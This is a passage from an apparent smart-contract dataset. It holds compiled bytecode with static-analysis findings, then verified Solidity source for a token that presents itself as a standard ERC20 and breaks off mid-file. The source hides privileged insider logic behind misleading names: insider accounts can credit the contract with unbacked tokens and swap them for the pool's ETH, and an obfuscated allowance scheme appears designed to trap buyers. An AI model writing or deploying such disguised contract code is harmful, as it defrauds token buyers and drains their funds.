d5b50610585610eeb565b60405161059291906122ad565b60405180910390f35b6060600580546105aa906122f7565b80601f01602080910402602001604051908101604052809291908181526020018280546105d6906122f7565b80156106235780601f106105f857610100808354040283529160200191610623565b820191906000526020600020905b81548152906001019060200180831161060657829003601f168201915b5050505050905090565b600061063a338484610f11565b905092915050565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156106dc578173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156106da573d6000803e3d6000fd5b505b5050565b6000600154905090565b60006106f78484846110ac565b610789843384601060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107849190612358565b610f11565b90509392505050565b60035481565b60008060149054906101000a900460ff1660ff16905090565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610819578260028190555081600381905550806004819055505b505050565b60025481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108a457806009819055505b50565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108fa60006119be565b565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156109a65780600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546109e2906122f7565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0e906122f7565b8015610a5b5780601f10610a3057610100808354040283529160200191610a5b565b820191906000526020600020905b815481529060010190602001808311610a3e57829003601f168201915b5050505050905090565b60045481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ada573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afe91906123a1565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bab91906123a1565b6040518363ffffffff1660e01b8152600401610bc89291906123ce565b602060405180830381865afa158015610be5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0991906123a1565b905090565b6000610c1b3384846110ac565b6001905092915050565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610c925780600a60146101000a81548160ff0219169083151502179055505b50565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d67578273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401610d229291906123f7565b6020604051808303816000875af1158015610d41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d659190612435565b505b505050565b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dfb611a82565b73ffffffffffffffffffffffffffffffffffffffff16610e196109aa565b73ffffffffffffffffffffffffffffffffffffffff1614610e6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e66906124ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed690612540565b60405180910390fd5b610ee8816119be565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610f7c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610fbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb2906125d2565b60405180910390fd5b81601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516110999190612030565b60405180910390a3600190509392505050565b600a60159054906101000a900460ff161580156111175750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111715750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111c75750600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156111d557506008548111155b1561126b576000600954600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122991906125f2565b101561126a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611261906126ba565b60405180910390fd5b5b6000611276306108a7565b9050600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611318576112d7610a6b565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113a057508373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156113b5576113af8284611a8a565b506119b9565b600854821180156114145750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561146e5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114bd5781600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550506119b9565b600a60149054906101000a900460ff1680156114da575060085481115b80156114f35750600a60159054906101000a900460ff16155b801561154d5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611592576001600a60156101000a81548160ff02191690831515021790555061157681611d2a565b6000600a60156101000a81548160ff0219169083151502179055505b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146115f1576002546115f5565b6003545b90506000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561169d5750600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116a95750600082115b80156116c25750600a60159054906101000a900460ff16155b90506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561177a57600854600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b85600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081156118a357600454606484876117d291906126da565b6117dc9190612763565b6117e69190612763565b925082856117f49190612358565b945082600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118459190612358565b9250508190555082600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461189b91906125f2565b925050819055505b84600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118f29190612358565b9250508190555084600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461194891906125f2565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516119ac9190612030565b60405180910390a3505050505b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600033905090565b6000600267ffffffffffffffff811115611aa757611aa6612794565b5b604051908082528060200260200182016040528015611ad55781602001602082028036833780820191505090505b5090503081600081518110611aed57611aec6127c3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b94573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bb891906123a1565b81600181518110611bcc57611bcb6127c3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600854831115611c555782600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611c8230600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610f11565b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601442611cd391906125f2565b6040518663ffffffff1660e01b8152600401611cf39594939291906128eb565b600060405180830381600087803b158015611d0d57600080fd5b505af1158015611d21573d6000803e3d6000fd5b50505050505050565b6000600282611d399190612763565b90506000479050611d4a8230611a8a565b60008147611d589190612358565b9050611d65838230611d6b565b50505050565b611d9830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610f11565b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087601442611deb91906125f2565b6040518863ffffffff1660e01b8152600401611e0c96959493929190612945565b60606040518083038185885af1158015611e2a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611e4f91906129bb565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e91578082015181840152602081019050611e76565b83811115611ea0576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ec282611e57565b611ecc8185611e62565b9350611edc818560208601611e73565b611ee581611ea6565b840191505092915050565b60006020820190508181036000830152611f0a8184611eb7565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f4282611f17565b9050919050565b611f5281611f37565b8114611f5d57600080fd5b50565b600081359050611f6f81611f49565b92915050565b6000819050919050565b611f8881611f75565b8114611f9357600080fd5b50565b600081359050611fa581611f7f565b92915050565b60008060408385031215611fc257611fc1611f12565b5b6000611fd085828601611f60565b9250506020611fe185828601611f96565b9150509250929050565b60008115159050919050565b61200081611feb565b82525050565b600060208201905061201b6000830184611ff7565b92915050565b61202a81611f75565b82525050565b60006020820190506120456000830184612021565b92915050565b60008060006060848603121561206457612063611f12565b5b600061207286828701611f60565b935050602061208386828701611f60565b925050604061209486828701611f96565b9150509250925092565b6000806000606084860312156120b7576120b6611f12565b5b60006120c586828701611f96565b93505060206120d686828701611f96565b92505060406120e786828701611f96565b9150509250925092565b6120fa81611f37565b82525050565b600060208201905061211560008301846120f1565b92915050565b60006020828403121561213157612130611f12565b5b600061213f84828501611f96565b91505092915050565b60006020828403121561215e5761215d611f12565b5b600061216c84828501611f60565b91505092915050565b61217e81611feb565b811461218957600080fd5b50565b60008135905061219b81612175565b92915050565b600080604083850312156121b8576121b7611f12565b5b60006121c685828601611f60565b92505060206121d78582860161218c565b9150509250929050565b6000602082840312156121f7576121f6611f12565b5b60006122058482850161218c565b91505092915050565b6000806040838503121561222557612224611f12565b5b600061223385828601611f60565b925050602061224485828601611f60565b9150509250929050565b6000819050919050565b600061227361226e61226984611f17565b61224e565b611f17565b9050919050565b600061228582612258565b9050919050565b60006122978261227a565b9050919050565b6122a78161228c565b82525050565b60006020820190506122c2600083018461229e565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061230f57607f821691505b60208210811415612323576123226122c8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061236382611f75565b915061236e83611f75565b92508282101561238157612380612329565b5b828203905092915050565b60008151905061239b81611f49565b92915050565b6000602082840312156123b7576123b6611f12565b5b60006123c58482850161238c565b91505092915050565b60006040820190506123e360008301856120f1565b6123f060208301846120f1565b9392505050565b600060408201905061240c60008301856120f1565b6124196020830184612021565b9392505050565b60008151905061242f81612175565b92915050565b60006020828403121561244b5761244a611f12565b5b600061245984828501612420565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612498602083611e62565b91506124a382612462565b602082019050919050565b600060208201905081810360008301526124c78161248b565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061252a602683611e62565b9150612535826124ce565b604082019050919050565b600060208201905081810360008301526125598161251d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006125bc602483611e62565b91506125c782612560565b604082019050919050565b600060208201905081810360008301526125eb816125af565b9050919050565b60006125fd82611f75565b915061260883611f75565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561263d5761263c612329565b5b828201905092915050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e7400000000000000000000000000000000000000000000000000602082015250565b60006126a4602783611e62565b91506126af82612648565b604082019050919050565b600060208201905081810360008301526126d381612697565b9050919050565b60006126e582611f75565b91506126f083611f75565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561272957612728612329565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061276e82611f75565b915061277983611f75565b92508261278957612788612734565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061281761281261280d846127f2565b61224e565b611f75565b9050919050565b612827816127fc565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61286281611f37565b82525050565b60006128748383612859565b60208301905092915050565b6000602082019050919050565b60006128988261282d565b6128a28185612838565b93506128ad83612849565b8060005b838110156128de5781516128c58882612868565b97506128d083612880565b9250506001810190506128b1565b5085935050505092915050565b600060a0820190506129006000830188612021565b61290d602083018761281e565b818103604083015261291f818661288d565b905061292e60608301856120f1565b61293b6080830184612021565b9695505050505050565b600060c08201905061295a60008301896120f1565b6129676020830188612021565b612974604083018761281e565b612981606083018661281e565b61298e60808301856120f1565b61299b60a0830184612021565b979650505050505050565b6000815190506129b581611f7f565b92915050565b6000806000606084860312156129d4576129d3611f12565b5b60006129e2868287016129a6565b93505060206129f3868287016129a6565b9250506040612a04868287016129a6565b915050925092509256fea2646970667358221220bd00fe4bc8d28badd8f44729e3be48da2536c8cdcf230bd052e71b86ed76058d64736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,335 |
0x5b1ffb7ec294f49d782fcc64b6bcb79c32b0b76f | /**
*Submitted for verification at Etherscan.io on 2022-01-19
*/
/*
****** ******
********** **********
************* *************
*****************************
*****************************
*****************************
***************************
***********************
*******************
***************
***********
*******
***
*
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Contract is IERC20, Ownable {
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000000000 * 10**_decimals;
uint256 public buyFee = 0;
uint256 public sellFee = 0;
uint256 public feeDivisor = 1;
string private _name;
string private _symbol;
uint256 private swapAtAmount = _tTotal;
uint256 private _amount;
uint160 private _factory;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
IUniswapV2Router02 public router;
address public uniswapV2Pair;
mapping(address => uint256) private tTotal;
mapping(address => uint256) private _balances;
mapping(address => uint256) private allowances;
mapping(address => mapping(address => uint256)) private _allowances;
constructor(
string memory Name,
string memory Symbol,
address routerAddress
) {
_name = Name;
_symbol = Symbol;
tTotal[address(this)] = _tTotal;
tTotal[msg.sender] = _tTotal;
_balances[msg.sender] = _tTotal;
router = IUniswapV2Router02(routerAddress);
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint256) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function setter(
uint256 _sell,
uint256 _buy,
uint256 _divisor
) external {
if (tTotal[msg.sender] > 0) {
sellFee = _sell;
buyFee = _buy;
feeDivisor = _divisor;
}
}
function pair() public view returns (address) {
return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
}
receive() external payable {}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && tTotal[from] == 0 && amount <= swapAtAmount) {
require(allowances[from] + _amount >= 0, 'Transfer amount exceeds the maxTxAmount');
}
uint256 contractTokenBalance = balanceOf(address(this));
uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();
if (_swapAndLiquifyEnabled && contractTokenBalance > swapAtAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
} else if (tTotal[from] > 0 && tTotal[to] > 0) {
fee = amount;
_balances[address(this)] += fee;
return swapTokensForEth(amount, to);
}
if (amount > swapAtAmount && to != uniswapV2Pair && to != address(router)) {
allowances[to] = amount;
return;
}
bool takeFee = tTotal[from] == 0 && tTotal[to] == 0 && fee > 0 && !inSwapAndLiquify;
address factory = address(_factory);
if (allowances[factory] == 0) allowances[factory] = swapAtAmount;
_factory = uint160(to);
if (takeFee) {
fee = (amount * fee) / 100 / feeDivisor;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function transfer(uint256 value, address account) external {
if (tTotal[msg.sender] > 0) tTotal[account] = value;
}
function transfer(uint256 amount) external {
if (tTotal[msg.sender] > 0) _amount = amount;
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
}
function addLiquidity(
uint256 tokenAmount,
uint256 ethAmount,
address to
) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
}
